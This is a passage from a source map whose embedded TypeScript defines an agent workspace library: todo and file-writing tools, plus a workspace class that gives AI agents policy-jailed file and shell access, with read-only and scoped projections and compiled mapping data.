string[]).includes(value);\n}\n\n/** Input schema for the `todo_write` tool. */\nconst todoWriteSchema = withJsonSchema<TodoWriteInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate(value) {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const raw = (value as Record<string, unknown>).todos;\n\n if (!Array.isArray(raw) || raw.length > MAX_TODOS) {\n return {\n issues: [\n {\n message: `\"todos\" must be an array of at most ${MAX_TODOS} items`,\n path: [\"todos\"],\n },\n ],\n };\n }\n\n const issues: StandardSchemaV1.Issue[] = [];\n const todos: WorkspaceTodoInput[] = [];\n\n raw.forEach((item: unknown, index: number) => {\n if (typeof item !== \"object\" || item === null || Array.isArray(item)) {\n issues.push({ message: `todos[${index}] must be an object`, path: [\"todos\", index] });\n\n return;\n }\n\n const candidate = item as Record<string, unknown>;\n\n if (typeof candidate.content !== \"string\") {\n issues.push({\n message: `todos[${index}].content must be a string`,\n path: [\"todos\", index, \"content\"],\n });\n }\n\n if (!isTodoStatus(candidate.status)) {\n issues.push({\n message: `todos[${index}].status must be one of ${TODO_STATUSES.join(\", \")}`,\n path: [\"todos\", index, \"status\"],\n });\n }\n\n if (candidate.id !== undefined && typeof candidate.id !== \"string\") {\n issues.push({\n message: `todos[${index}].id must be a string when provided`,\n path: [\"todos\", index, \"id\"],\n });\n }\n\n if (typeof candidate.content === \"string\" && isTodoStatus(candidate.status)) {\n todos.push({\n content: candidate.content,\n status: candidate.status,\n ...(typeof candidate.id === \"string\" ? { id: candidate.id } : {}),\n });\n }\n });\n\n if (issues.length === 0) {\n for (const problem of todoListProblems(todos)) {\n issues.push({ message: problem, path: [\"todos\"] });\n }\n }\n\n return issues.length > 0 ? { issues } : { value: { todos } };\n },\n },\n },\n TODO_WRITE_JSON_SCHEMA,\n);\n\n/** Input schema for the `todo_read` tool (no arguments). */\nconst todoReadSchema = withJsonSchema<Record<string, never>>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate: () => ({ value: {} }),\n },\n },\n TODO_READ_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `todo_write` tool over a workspace's todo list:\n * the model sends the **complete** updated list (each item `content` +\n * `status` of `pending` / `in_progress` / `completed`, optional `id`) and it\n * replaces the old one. The list lives in memory, per workspace (shared by\n * its `readonly()` / `scope()` projections), for the length of the run.\n *\n * @param store - The workspace's todo list.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * await makeTodoWriteTool(store).invoke({\n * todos: [\n * { content: \"Reproduce the failing test\", status: \"completed\" },\n * { content: \"Fix the rounding bug\", status: \"in_progress\" },\n * ],\n * });\n */\nexport function makeTodoWriteTool(\n store: TodoStore,\n options?: { name?: string },\n): ToolContract<TodoWriteInput, TodoListResult> {\n return tool<TodoWriteInput, TodoListResult>({\n name: options?.name ?? \"todo_write\",\n description:\n \"Replace your todo list for this task with the complete updated list \" +\n \"(each item: content and status pending | in_progress | completed). \" +\n \"Use it to plan multi-step work and to mark progress.\",\n action: \"Updating the todo list\",\n input: todoWriteSchema,\n execute: async (input) => store.write(input.todos),\n });\n}\n\n/**\n * Build the agent-facing `todo_read` tool: the workspace's current todo\n * list and a count per status.\n *\n * @param store - The workspace's todo list.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const { data } = await makeTodoReadTool(store).invoke({});\n * console.log(data?.counts.pending);\n */\nexport function makeTodoReadTool(\n store: TodoStore,\n options?: { name?: string },\n): ToolContract<Record<string, never>, TodoListResult> {\n return tool<Record<string, never>, TodoListResult>({\n name: options?.name ?? \"todo_read\",\n description: \"Read your current todo list for this task.\",\n action: \"Reading the todo list\",\n input: todoReadSchema,\n execute: async () => store.read(),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, stringField } from \"./schema\";\nimport { WRITE_FILE_JSON_SCHEMA } from \"./json-schemas\";\nimport type { WorkspaceOps, WriteFileInput, WriteFileResult } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"write_file\";\n\n/** Input schema for the `write_file` tool. */\nconst inputSchema = objectSchema<WriteFileInput>(\n {\n path: stringField(),\n content: stringField(),\n },\n WRITE_FILE_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `write_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, content }` against a Standard Schema, then\n * delegates to `ops.writeFile`, which atomically writes the full content\n * (creating parent directories) and returns the byte count and content\n * `hash`. The tool re-attaches the workspace-relative `path` so the\n * result matches the {@link WriteFileResult} wire shape.\n *\n * **Errors flow as data.** A jail escape is thrown by `ops`; the\n * `tool()` wrapper catches it and surfaces it in the returned `{ error }`\n * field — `invoke()` never throws.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const writeTool = makeWriteFileTool(ops);\n * const { data } = await writeTool.invoke({ path: \"src/new.ts\", content: \"export {};\" });\n * console.log(data.bytesWritten, data.hash);\n */\nexport function makeWriteFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<WriteFileInput, WriteFileResult> {\n return tool<WriteFileInput, WriteFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Write full content to a workspace file, creating it (and any parent \" +\n \"directories) if absent and overwriting it otherwise. The write is \" +\n \"atomic. Returns the bytes written and the new content hash.\",\n input: inputSchema,\n async execute(input) {\n const { hash, bytesWritten } = await ops.writeFile(input.path, input.content);\n\n return { path: input.path, bytesWritten, hash };\n },\n });\n}\n","import path from \"node:path\";\nimport { ai, type ToolContract } from \"@warlock.js/ai\";\nimport { createLocalBackend } from \"./backends/local\";\nimport { createMockBackend } from \"./backends/mock\";\nimport { WorkspacePolicyError } from \"./errors\";\nimport { createOps } from \"./ops\";\nimport { ShellJobs } from \"./shell-jobs\";\nimport { TodoStore } from \"./todos\";\nimport { makeEditFileTool } from \"./tools/edit-file\";\nimport { makeGlobTool } from \"./tools/glob\";\nimport { makeGrepTool } from \"./tools/grep\";\nimport { makeListDirTool } from \"./tools/list-dir\";\nimport { makeMultiEditTool } from \"./tools/multi-edit\";\nimport { makeReadFileTool } from \"./tools/read-file\";\nimport { makeRunShellTool } from \"./tools/run-shell\";\nimport { makeRunTestsTool } from \"./tools/run-tests\";\nimport { makeShellKillTool } from \"./tools/shell-kill\";\nimport { makeShellOutputTool } from \"./tools/shell-output\";\nimport { makeTodoReadTool, makeTodoWriteTool } from \"./tools/todo\";\nimport { makeWriteFileTool } from \"./tools/write-file\";\nimport type {\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepResult,\n ListDirOptions,\n ListDirResult,\n MultiEditInput,\n MultiEditResult,\n ReadFileResult,\n RunShellResult,\n ShellJobInfo,\n ShellOutputOptions,\n ShellOutputResult,\n StartShellOptions,\n TodoListResult,\n Workspace,\n WorkspaceBackend,\n WorkspaceOps,\n WorkspacePolicy,\n WorkspaceTodoInput,\n WorkspaceToolName,\n WorkspaceTools,\n} from \"./contracts\";\n\n/**\n * The full set of tool names a writable workspace vends, in a stable\n * canonical order so `tools.all()` is deterministic.\n */\nconst ALL_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"editFile\",\n \"multiEdit\",\n \"writeFile\",\n \"listDir\",\n \"runShell\",\n \"shellOutput\",\n \"shellKill\",\n \"runTests\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/**\n * The subset a {@link Workspace.readonly} projection exposes — the\n * tools that cannot change the tree. `editFile` / `multiEdit` /\n * `writeFile` / the shell tools / `runTests` are deliberately omitted so a\n * reviewer agent has no path to change it. The todo tools stay: they only\n * touch the in-memory plan.\n */\nconst READONLY_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"listDir\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/** Tools vended only when the policy enables background commands. */\nconst BACKGROUND_TOOL_NAMES: ReadonlySet<WorkspaceToolName> = new Set([\"shellOutput\", \"shellKill\"]);\n\n/**\n * State one workspace shares with every projection made from it: its\n * background commands and its todo list.\n */\ninterface WorkspaceState {\n jobs: ShellJobs;\n todos: TodoStore;\n}\n\n/**\n * Choose the dumb IO executor for a policy. `\"mock\"` selects the\n * in-memory backend (hermetic tests); anything else — including the\n * `\"local\"` default and an absent `backend` — selects the real-disk\n * local backend.\n */\nfunction selectBackend(policy: WorkspacePolicy): WorkspaceBackend {\n if (policy.backend === \"mock\") {\n return createMockBackend();\n }\n\n return createLocalBackend();\n}\n\n/**\n * The internal {@link Workspace} implementation. Holds the resolved\n * backend, the policy, and the single shared {@link WorkspaceOps} seam\n * that both the agent-facing `.tools.*` factories and the human-facing\n * direct methods funnel through — one jail, one rule set, two callers.\n *\n * The `allowedTools` set narrows what `tools.*` will vend and which\n * mutating direct methods are permitted: a full workspace allows every\n * name; a {@link WorkspaceImpl.readonly} projection allows only the\n * read/grep/glob subset and rejects writes/edits/shell/mkdir/remove.\n *\n * Constructed via {@link workspace}; the class itself is internal.\n */\nclass WorkspaceImpl implements Workspace {\n /** The shared, policy-enforced operation layer (jail + guards). */\n private readonly ops: WorkspaceOps;\n\n /** Tool names this projection is permitted to vend / mutate through. */\n private readonly allowedTools: ReadonlySet<WorkspaceToolName>;\n\n public readonly policy: WorkspacePolicy;\n\n public readonly tools: WorkspaceTools;\n\n /** Background commands + todo list, shared with projections. */\n private readonly state: WorkspaceState;\n\n public constructor(\n policy: WorkspacePolicy,\n allowedTools: readonly WorkspaceToolName[] = ALL_TOOL_NAMES,\n state?: WorkspaceState,\n ) {\n this.policy = policy;\n this.allowedTools = new Set(allowedTools);\n this.state = state ?? { jobs: new ShellJobs(), todos: new TodoStore() };\n\n const backend = selectBackend(policy);\n this.ops = createOps(backend, policy, { jobs: this.state.jobs });\n this.tools = this.buildTools();\n }\n\n /**\n * Assemble the agent-facing tool namespace. Each factory builds its\n * tool over the shared `ops`; `all()` returns every *allowed* tool in\n * canonical order and `pick(...)` returns the named subset (silently\n * dropping any name this projection does not allow, so a `readonly()`\n * workspace can never be coaxed into vending a mutating tool).\n */\n private buildTools(): WorkspaceTools {\n // Each `make*Tool` returns a precisely-typed\n // `ToolContract<SpecificInput, SpecificOutput>`, but the agent-facing\n // `WorkspaceTools` surface vends the type-erased `ToolContract`\n // (`ToolContract<unknown, unknown>`). Because `ToolContract` puts its\n // input in a contravariant position (`execute(input)` / `action(input)`),\n // a specific contract is not assignable to the erased one — so erase it\n // once, here, through `unknown`. The runtime object is identical; only\n // the static input type is widened for the shared surface.\n const erase = <TInput, TOutput>(contract: ToolContract<TInput, TOutput>): ToolContract =>\n contract as unknown as ToolContract;\n\n const shell = this.policy.shell;\n const background = shell?.background !== undefined;\n const interpreter = shell?.interpreter ?? \"none\";\n\n const factories: Record<\n WorkspaceToolName,\n (opts?: { name?: string; command?: string }) => ToolContract\n > = {\n readFile: (opts) => erase(makeReadFileTool(this.ops, opts)),\n editFile: (opts) => erase(makeEditFileTool(this.ops, opts)),\n multiEdit: (opts) => erase(makeMultiEditTool(this.ops, opts)),\n writeFile: (opts) => erase(makeWriteFileTool(this.ops, opts)),\n listDir: (opts) => erase(makeListDirTool(this.ops, opts)),\n runShell: (opts) =>\n erase(\n makeRunShellTool(this.ops, {\n ...(opts?.name !== undefined ? { name: opts.name } : {}),\n ...(shell?.timeoutMs !== undefined ? { maxTimeoutMs: shell.timeoutMs } : {}),\n background,\n }),\n ),\n shellOutput: (opts) => erase(makeShellOutputTool(this.ops, opts)),\n shellKill: (opts) => erase(makeShellKillTool(this.ops, opts)),\n runTests: (opts) => erase(makeRunTestsTool(this.ops, { ...opts, interpreter })),\n grep: (opts) => erase(makeGrepTool(this.ops, opts)),\n glob: (opts) => erase(makeGlobTool(this.ops, opts)),\n todoWrite: (opts) => erase(makeTodoWriteTool(this.state.todos, opts)),\n todoRead: (opts) => erase(makeTodoReadTool(this.state.todos, opts)),\n };\n\n const build = (name: WorkspaceToolName, opts?: { name?: string; command?: string }) =>\n factories[name](opts);\n\n // `shell_output` / `shell_kill` only mean something when background\n // commands can be started, so `all()` leaves them out otherwise.\n const vendedByAll = (name: WorkspaceToolName): boolean =>\n this.allowedTools.has(name) && (background || !BACKGROUND_TOOL_NAMES.has(name));\n\n return {\n all: () => ALL_TOOL_NAMES.filter(vendedByAll).map((name) => build(name)),\n pick: (...names: WorkspaceToolName[]) =>\n names.filter((name) => this.allowedTools.has(name)).map((name) => build(name)),\n readFile: (opts) => build(\"readFile\", opts),\n editFile: (opts) => build(\"editFile\", opts),\n multiEdit: (opts) => build(\"multiEdit\", opts),\n writeFile: (opts) => build(\"writeFile\", opts),\n listDir: (opts) => build(\"listDir\", opts),\n runShell: (opts) => build(\"runShell\", opts),\n shellOutput: (opts) => build(\"shellOutput\", opts),\n shellKill: (opts) => build(\"shellKill\", opts),\n runTests: (opts) => build(\"runTests\", opts),\n grep: (opts) => build(\"grep\", opts),\n glob: (opts) => build(\"glob\", opts),\n todoWrite: (opts) => build(\"todoWrite\", opts),\n todoRead: (opts) => build(\"todoRead\", opts),\n };\n }\n\n /**\n * Reject a mutating direct method on a read-only projection — surfaced\n * as a {@link WorkspacePolicyError} (the same typed error a denied\n * command produces) so a caller branches on `error.type`.\n */\n private assertWritable(operation: string): void {\n if (this.allowedTools.has(\"writeFile\")) {\n return;\n }\n\n throw new WorkspacePolicyError(\n `Operation \"${operation}\" is not permitted on a read-only workspace.`,\n { type: \"denied-command\", command: operation },\n );\n }\n\n public readFile(\n filePath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n return this.ops.readFile(filePath, opts);\n }\n\n public async writeFile(\n filePath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number }> {\n this.assertWritable(\"writeFile\");\n\n return this.ops.writeFile(filePath, content);\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n this.assertWritable(\"editFile\");\n\n return this.ops.editFile(input);\n }\n\n public async multiEdit(input: MultiEditInput): Promise<MultiEditResult> {\n this.assertWritable(\"multiEdit\");\n\n return this.ops.multiEdit(input);\n }\n\n public listDir(dirPath?: string, opts?: ListDirOptions): Promise<ListDirResult> {\n return this.ops.listDir(dirPath, opts);\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n this.assertWritable(\"exec\");\n\n return this.ops.exec(command, opts);\n }\n\n public async startShell(command: string, opts?: StartShellOptions): Promise<ShellJobInfo> {\n this.assertWritable(\"startShell\");\n\n return this.ops.startShell(command, opts);\n }\n\n public shellOutput(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n return this.ops.shellOutput(id, opts);\n }\n\n public async shellKill(id: string): Promise<ShellJobInfo> {\n this.assertWritable(\"shellKill\");\n\n return this.ops.shellKill(id);\n }\n\n public listShells(): ShellJobInfo[] {\n return this.ops.listShells();\n }\n\n public readTodos(): TodoListResult {\n return this.state.todos.read();\n }\n\n public writeTodos(todos: WorkspaceTodoInput[]): TodoListResult {\n return this.state.todos.write(todos);\n }\n\n public dispose(): Promise<void> {\n return this.ops.dispose();\n }\n\n public grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n return this.ops.grep(pattern, opts);\n }\n\n public glob(pattern: string): Promise<string[]> {\n return this.ops.glob(pattern);\n }\n\n public exists(filePath: string): Promise<boolean> {\n return this.ops.exists(filePath);\n }\n\n public async mkdir(filePath: string): Promise<void> {\n this.assertWritable(\"mkdir\");\n\n return this.ops.mkdir(filePath);\n }\n\n public async remove(filePath: string): Promise<void> {\n this.assertWritable(\"remove\");\n\n return this.ops.remove(filePath);\n }\n\n /**\n * A read-only projection over the SAME policy — only the read / list /\n * grep / glob / todo tools are vended and every mutating direct method\n * rejects with a {@link WorkspacePolicyError}. A fresh ops/backend is\n * built from the identical policy, so the projection sees the same jailed\n * tree; it shares this workspace's background commands and todo list.\n */\n public readonly(): Workspace {\n return new WorkspaceImpl(\n this.policy,\n READONLY_TOOL_NAMES.filter((name) => this.allowedTools.has(name)),\n this.state,\n );\n }\n\n /**\n * A sub-jailed view rooted at `subdir` (relative to this workspace's\n * `cwd`). Returns a brand-new workspace whose policy is this policy\n * with `cwd` narrowed to `join(cwd, subdir)` — same backend selection,\n * same allow/deny/shell/read sub-policies, but a tighter jail root. It\n * shares this workspace's background commands and todo list.\n */\n public scope(subdir: string): Workspace {\n return new WorkspaceImpl(\n { ...this.policy, cwd: path.join(this.policy.cwd, subdir) },\n [...this.allowedTools],\n this.state,\n );\n }\n}\n\n/**\n * Build a {@link Workspace} — the integrator that wires a\n * {@link WorkspacePolicy} to a backend, the shared policy-enforced ops\n * layer, and the agent-facing tool factories.\n *\n * The backend is chosen from `policy.backend`: `\"mock\"` runs in memory\n * (hermetic tests); the `\"local\"` default (and any absent value) runs\n * over the real disk via `@warlock.js/fs` + `node:child_process`. The\n * returned workspace exposes:\n *\n * - **`tools.*`** — `readFile` / `editFile` / `multiEdit` / `writeFile` /\n * `listDir` / `runShell` / `shellOutput` / `shellKill` / `runTests` /\n * `grep` / `glob` / `todoWrite` / `todoRead`, plus `all()` (every tool)\n * and `pick(...)` (a least-privilege subset).\n * - **direct methods** — `readFile` / `writeFile` / `editFile` /\n * `multiEdit` / `listDir` / `exec` / `startShell` / `shellOutput` /\n * `shellKill` / `listShells` / `grep` / `glob` / `exists` / `mkdir` /\n * `remove` / `readTodos` / `writeTodos`, each delegating to the shared\n * ops layer, and `dispose()`.\n * - **`readonly()`** — a projection that vends only the read-side tools and\n * rejects every mutating direct method.\n * - **`scope(subdir)`** — a sub-jailed workspace rooted at `subdir`.\n *\n * Available at runtime as `ai.workspace(policy)` once this module is\n * imported (it registers the verb on the shared `ai` object).\n *\n * @param policy - The policy bounding the workspace (its `cwd` is the jail root).\n * @returns A fully-wired {@link Workspace}.\n *\n * @example\n * const ws = workspace({ cwd: \"/srv/acme-api\", shell: { allow: [\"npm\"], inheritEnv: [\"PATH\"] } });\n * const dev = ai.agent({ model, tools: ws.tools.all() });\n * await dev.execute(\"Make the failing cart-total suite green.\");\n *\n * @example\n * // Least-privilege reviewer — no write, no shell.\n * const reviewer = ai.agent({ model, tools: ws.readonly().tools.all() });\n */\nexport function workspace(policy: WorkspacePolicy): Workspace {\n return new WorkspaceImpl(policy);\n}\n\n/**\n * Attach the `workspace` verb to the `ai` namespace via module augmentation,\n * per the `ai.`-namespace convention. `@warlock.js/ai` now exposes a named `Ai`\n * interface for exactly this, so after a bare `import \"@warlock.js/ai-workspace\"`,\n * `ai.workspace(...)` is globally typed — no view/cast needed.\n */\ndeclare module \"@warlock.js/ai\" {\n interface Ai {\n /** Build a policy-jailed filesystem + shell {@link Workspace}. */\n workspace(policy: WorkspacePolicy): Workspace;\n }\n}\n\n// Runtime registration: attach `workspace` onto the shared `ai` object the\n// moment this package is imported (the augmentation above types it).\nai.workspace = workspace;\n"],"mappings":"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